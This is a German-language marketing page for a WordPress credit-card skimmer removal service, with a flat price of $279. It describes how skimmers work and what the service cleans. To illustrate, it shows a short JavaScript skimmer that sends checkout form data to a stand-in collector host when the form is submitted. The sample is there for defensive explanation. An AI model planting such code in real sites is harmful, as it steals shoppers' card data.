WordPress credit card skimmer removal.

§ 01 — MECHANISMUS

Wenige Zeilen JavaScript reichen, um jede Bestellung zu stehlen.

Ein Karten-Skimmer ist ein winziges JavaScript, das Ihr Checkout-Formular abhört. Sobald ein Kunde die Kartennummer eintippt, erstellt der Skimmer eine Kopie und schickt sie an eine vom Angreifer kontrollierte Adresse — meist einen von außen unscheinbar wirkenden Server.

Die Seite funktioniert weiter. Die Bestellung läuft durch. Weder Kunde noch Sie merken etwas. Wir spielen die Bestellung in einer Sandbox nach, verfolgen das Skript bis zu seinem Ort in Ihrer Seite und entfernen es, ohne den restlichen Checkout zu beschädigen.

01 document.querySelector('form.checkout').addEventListener('submit', function (e) {
02   const data = new FormData(e.target);
03   fetch('https://collector.example/c', {
04     method: 'POST', body: data, mode: 'no-cors'
05   });
06 });
07
08 // A fetch to an external host on form submit is the signature.

§ 02 — WAS WIR ENTFERNEN

Jeden Ort, an dem sich diese Infektion versteckt.

• [ PLUGIN-TRIAGE ]

  Wir geben in einer Sandbox eine Testbestellung auf und überwachen jeden Netzwerkaufruf des Checkouts.

• [ JAVASCRIPT ]

  Theme-Dateien, Plugin-Assets und Inline-Skripte geprüft. Alles, was Formulardaten extern sendet — entfernt.

• [ DATENBANK ]

  Eingeschleuste Skripte in wp_options, wp_posts und aktiven Widgets — gelöscht. Persistenz beseitigt.

• [ LEISTUNGEN ]

  PHP-Backdoors, die den Skimmer neu installieren, aufgespürt. Cron-Jobs und Must-Use-Plugins überprüft.

• [ ZEITVERLAUF ]

  Erste und letzte Sichtungsdaten erfasst, damit Sie wissen, welche Bestellungen betroffen waren.

• [ BERICHT ]

  Forensischer Bericht in Klartext, geeignet für Kunden, Versicherer oder die eigenen Akten.

§ PREISE

Pauschal $279. Einmalig. Pro Seite.